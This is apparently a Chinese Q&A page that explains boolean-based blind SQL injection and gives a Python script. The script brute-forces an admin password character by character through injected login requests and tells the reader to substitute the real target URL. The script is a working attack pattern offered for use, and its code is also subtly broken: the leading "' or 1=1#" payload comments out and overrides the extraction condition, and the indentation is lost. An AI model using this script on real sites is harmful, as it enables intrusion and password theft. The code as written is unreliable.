python写布尔盲注
时间: 2023-10-06 09:14:48 浏览: 111
布尔盲注是一种通过不断地构造条件语句,来判断某一条件是否成立的注入方式。在 Python 中,可以通过构造 SQL 语句,来实现布尔盲注。
以下是一个简单的 Python 布尔盲注脚本的示例:
```python
import requests
url = "http://example.com/login.php" # 替换成具体的目标网站 URL
payload = "' or 1=1#"
for i in range(32): # 假设密码长度为 32,可以根据实际情况进行修改
for j in range(32, 126): # ASCII 码范围
if chr(j) not in ['%', '\\', '_']:
# 构造 SQL 语句,并发起请求
data = {
"username": "admin",
"password": f"{payload} and ascii(substr((select password from users where username='admin'),{i+1},1))={j}--"
}
response = requests.post(url, data=data)
# 判断条件是否成立
if "Login failed" not in response.text:
print(chr(j), end="")
break
```
该脚本假设目标网站存在用户名为 `admin` 的用户,并且该用户的密码长度为 32。通过循环构造 SQL 语句,使用 `substr` 函数逐个获取密码的字符,并通过比较 ASCII 码的方式,判断该字符是否为指定的字符。
需要注意的是,在构造 SQL 语句时,需要使用 `#` 或 `--` 注释掉原有的语句,否则可能会导致语法错误。同时,还需要针对一些特殊字符进行转义或避免使用,以免影响 SQL 语句的正确性。
阅读全文